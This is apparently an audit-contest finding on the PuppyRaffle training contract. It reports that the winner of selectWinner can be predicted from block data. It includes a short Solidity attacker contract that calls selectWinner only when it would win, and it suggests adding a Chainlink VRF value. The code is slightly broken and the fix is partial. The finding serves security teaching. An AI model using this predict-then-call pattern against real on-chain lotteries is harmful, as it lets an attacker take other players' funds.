Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

`PuppyRaffle::selectWinner` function `winnerIndex` can be computed before calling the actual function and thus rig the game

Summary

A malicious contract can compute winnerIndex before calling PuppyRaffle::selectWinner, therefore he can chose to do the actual call when he knows he is the winner.

Vulnerability Details

A malicious contract define such as

import {IPuppyRaffle} from "path/IPuppyRaffle.sol";
contract RiggedWinner{
IPuppyRaffle public puppyraffle;
constructor(address _targetContractAddress){
puppyraffle = IPuppyRaffle(_targetContractAddress);
}
function riggedWinner(){
uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(address(this), block.timestamp, block.difficulty))) % puppyraffle.players.length;
address winnerAddress = IPuppyRaffle.getActivePlayerIndex(winnerIndex);
if(winnerAddress == address(this)){
IPuppyRaffle.selectWinner()
}
}
}

would be able to call the PuppyRaffle::selectWinner function only when we are the winner

Impact

likelihood 100%
impact very high because you remove all randomness to win, therefore most likely only attacker will win the raffle
So this is a high vulnerability

Tools Used

read the code

Recommendations

Use of chainlink VRF number in the line to select the winnerIndex

- uint256 winnerIndex =
- uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
+ uint256 winnerIndex =
+ uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty, VRFnumber))) % players.length;

where VRFnumber is a number generated by a Chainlink VRF(Verifiable Random Function)

Updates

Lead Judging Commences

Hamiltonite Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

weak-randomness

Root cause: bad RNG Impact: manipulate winner

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!